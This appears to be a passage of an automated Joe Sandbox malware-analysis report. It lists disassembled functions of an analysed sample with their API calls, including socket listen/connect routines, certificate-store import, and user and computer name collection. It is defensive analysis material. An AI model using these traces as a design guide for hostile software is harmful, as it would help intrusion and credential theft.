    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB9B15, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00BB9B22
    • Thread32First.KERNEL32(?,?), ref: 00BB9B3D
    • Thread32Next.KERNEL32(?,0000001C), ref: 00BB9B53
    • CloseHandle.KERNEL32 ref: 00BB9B5E
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419B15, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00419B22
    • Thread32First.KERNEL32(?,?), ref: 00419B3D
    • Thread32Next.KERNEL32(?,0000001C), ref: 00419B53
    • CloseHandle.KERNEL32 ref: 00419B5E
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00413AC4, Relevance: 6.0, APIs: 4, Instructions: 35
    APIs
    • GlobalLock.KERNEL32 ref: 00413AC4
    • ReadFile.KERNEL32 ref: 00413ACA
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00413B00
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 00413B6F
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040C507, Relevance: 6.0, APIs: 4, Instructions: 29
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004138D0, Relevance: 6.0, APIs: 4, Instructions: 28
    APIs
    • GetForegroundWindow.USER32 ref: 004138D0
    • SetWindowLongW.USER32 ref: 004138D6
    • DispatchMessageW.USER32 ref: 004138DC
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 00413977
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004106C5, Relevance: 6.0, APIs: 4, Instructions: 27
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F2F0, Relevance: 6.0, APIs: 4, Instructions: 26
    APIs
    • WinHelpW.USER32 ref: 0040F2F0
    • SetActiveWindow.USER32 ref: 0040F2F6
    • IsClipboardFormatAvailable.USER32 ref: 0040F2FC
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040F376
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040834B, Relevance: 6.0, APIs: 4, Instructions: 22
    APIs
    • lstrcpynW.KERNEL32 ref: 0040834B
    • GetCurrentProcess.KERNEL32 ref: 00408351
    • GetFileInformationByHandle.KERNEL32 ref: 00408357
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 004083B1
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040CF7E, Relevance: 6.0, APIs: 4, Instructions: 22
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004087F0, Relevance: 6.0, APIs: 4, Instructions: 20
    APIs
    • LocalUnlock.KERNEL32 ref: 004087F0
    • lstrlenW.KERNEL32 ref: 004087F6
    • SetAbortProc.GDI32 ref: 004087FC
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00408854
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00412BA9, Relevance: 6.0, APIs: 4, Instructions: 20
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00416EA1, Relevance: 6.0, APIs: 4, Instructions: 18
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00412751, Relevance: 6.0, APIs: 4, Instructions: 18
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00409033, Relevance: 6.0, APIs: 4, Instructions: 17
    APIs
    • ReplaceTextW.COMDLG32 ref: 00409033
    • UnhandledExceptionFilter.KERNEL32 ref: 00409039
    • UpdateWindow.USER32 ref: 0040903F
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 00409086
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00413866, Relevance: 6.0, APIs: 4, Instructions: 17
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00414E7A, Relevance: 6.0, APIs: 4, Instructions: 16
    APIs
    • LocalReAlloc.KERNEL32 ref: 00414E7A
    • GetProcAddress.KERNEL32 ref: 00414E80
    • GetDateFormatW.KERNEL32 ref: 00414E86
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 00414EC6
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040DF22, Relevance: 6.0, APIs: 4, Instructions: 16
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041440B, Relevance: 6.0, APIs: 4, Instructions: 16
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB91F6, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004191F6, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB3FFE, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215
    APIs
      • Part of subcall function 00BBBAFD: getsockname.WS2_32(?,?,?), ref: 00BBBB1B
      • Part of subcall function 00BBB3EC: recv.WS2_32(?,?,00000001,00000000), ref: 00BBB410
    • getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00BB40CD
    • freeaddrinfo.WS2_32(?), ref: 00BB4103
      • Part of subcall function 00BBB57B: socket.WS2_32(?,00000001,00000006), ref: 00BBB584
      • Part of subcall function 00BBB57B: bind.WS2_32 ref: 00BBB5A4
      • Part of subcall function 00BBB57B: listen.WS2_32(?,00000000), ref: 00BBB5B3
      • Part of subcall function 00BBB57B: closesocket.WS2_32 ref: 00BBB5BE
      • Part of subcall function 00BBB8B2: accept.WS2_32(?,00000000,00000001), ref: 00BBB8DB
      • Part of subcall function 00BBB481: socket.WS2_32(?,00000001,00000006), ref: 00BBB48A
      • Part of subcall function 00BBB481: connect.WS2_32 ref: 00BBB4AA
      • Part of subcall function 00BBB481: closesocket.WS2_32 ref: 00BBB4B5
      • Part of subcall function 00BBB93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00BBB953
      • Part of subcall function 00BBB654: recv.WS2_32(?,?,00000400,00000000), ref: 00BBB69D
      • Part of subcall function 00BBB654: send.WS2_32(?,?,?,00000000), ref: 00BBB6B7
      • Part of subcall function 00BBB654: select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 00BBB6F4
      • Part of subcall function 00BBB8E5: shutdown.WS2_32(?,00000002), ref: 00BBB8ED
      • Part of subcall function 00BBB8E5: closesocket.WS2_32 ref: 00BBB8F4
      • Part of subcall function 00BB3F88: getpeername.WS2_32(000000FF,00000000,00000000), ref: 00BB3FAC
      • Part of subcall function 00BB3F88: getsockname.WS2_32(000000FF,00000000,00000000), ref: 00BB3FBB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00413FFE, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215
    APIs
      • Part of subcall function 0041BAFD: getsockname.WS2_32(?,?,?), ref: 0041BB1B
      • Part of subcall function 0041B3EC: recv.WS2_32(?,?,00000001,00000000), ref: 0041B410
    • getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 004140CD
    • freeaddrinfo.WS2_32(?), ref: 00414103
      • Part of subcall function 0041B57B: socket.WS2_32(?,00000001,00000006), ref: 0041B584
      • Part of subcall function 0041B57B: bind.WS2_32 ref: 0041B5A4
      • Part of subcall function 0041B57B: listen.WS2_32(?,00000000), ref: 0041B5B3
      • Part of subcall function 0041B57B: closesocket.WS2_32 ref: 0041B5BE
      • Part of subcall function 0041B8B2: accept.WS2_32(?,00000000,00000001), ref: 0041B8DB
      • Part of subcall function 0041B481: socket.WS2_32(?,00000001,00000006), ref: 0041B48A
      • Part of subcall function 0041B481: connect.WS2_32 ref: 0041B4AA
      • Part of subcall function 0041B481: closesocket.WS2_32 ref: 0041B4B5
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 0041B654: recv.WS2_32(?,?,00000400,00000000), ref: 0041B69D
      • Part of subcall function 0041B654: send.WS2_32(?,?,?,00000000), ref: 0041B6B7
      • Part of subcall function 0041B654: select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 0041B6F4
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
      • Part of subcall function 00413F88: getpeername.WS2_32(000000FF,00000000,00000000), ref: 00413FAC
      • Part of subcall function 00413F88: getsockname.WS2_32(000000FF,00000000,00000000), ref: 00413FBB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BBFE76, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213
    APIs
      • Part of subcall function 00BBA3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00BBA44F
      • Part of subcall function 00BBA3FB: Sleep.KERNEL32(?), ref: 00BBA462
      • Part of subcall function 00BBA3FB: InternetCloseHandle.WININET ref: 00BBA4E8
      • Part of subcall function 00BBFC68: RegOpenKeyExW.ADVAPI32(80000001,00BD3E88,00000000,00000001,?), ref: 00BBFC91
    • WaitForSingleObject.KERNEL32(00002710), ref: 00BBFFFD
      • Part of subcall function 00BB9656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00BB966F
      • Part of subcall function 00BB9656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00BB9687
      • Part of subcall function 00BB9656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00BB96A3
      • Part of subcall function 00BB9656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00BB96BB
      • Part of subcall function 00BB9656: CryptDestroyHash.ADVAPI32(?), ref: 00BB96D2
      • Part of subcall function 00BB9656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00BB96DC
    • CharLowerA.USER32(00000000), ref: 00BC0142
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041FE76, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213
    APIs
      • Part of subcall function 0041A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 0041A44F
      • Part of subcall function 0041A3FB: Sleep.KERNEL32(?), ref: 0041A462
      • Part of subcall function 0041A3FB: InternetCloseHandle.WININET ref: 0041A4E8
      • Part of subcall function 0041FC68: RegOpenKeyExW.ADVAPI32(80000001,00433E88,00000000,00000001,?), ref: 0041FC91
    • WaitForSingleObject.KERNEL32(00002710), ref: 0041FFFD
      • Part of subcall function 00419656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
      • Part of subcall function 00419656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
      • Part of subcall function 00419656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
      • Part of subcall function 00419656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
      • Part of subcall function 00419656: CryptDestroyHash.ADVAPI32(?), ref: 004196D2
      • Part of subcall function 00419656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
    • CharLowerA.USER32(00000000), ref: 00420142
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040896D, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
    APIs
    • GetTimeFormatW.KERNEL32 ref: 0040896D
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC0C2C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
    • PFXImportCertStore.CRYPT32(?,?,?), ref: 00BC0C45
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • GetSystemTime.KERNEL32(?), ref: 00BC0C91
      • Part of subcall function 00BC0A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00BC0B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00BC0A23
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCC68C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
    APIs
      • Part of subcall function 00BCC52D: GetComputerNameW.KERNEL32(?,?), ref: 00BCC548
      • Part of subcall function 00BCC52D: GetVersionExW.KERNEL32(?), ref: 00BCC57F
      • Part of subcall function 00BCC52D: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00BCC5F3
    • GlobalMemoryStatusEx.KERNEL32(?), ref: 00BCC6DD
    • GetVolumeInformationA.KERNEL32(00BA7CB8,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00BCC71A
      • Part of subcall function 00BB96EA: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00BB9703
      • Part of subcall function 00BB96EA: CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00BB971B
      • Part of subcall function 00BB96EA: CryptHashData.ADVAPI32(?,00000014,?,00000000), ref: 00BB9737
      • Part of subcall function 00BB96EA: CryptGetHashParam.ADVAPI32(?,00000002,?,00000014,00000000), ref: 00BB974F
      • Part of subcall function 00BB96EA: CryptDestroyHash.ADVAPI32(?), ref: 00BB9766
      • Part of subcall function 00BB96EA: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00BB9770
    Strings
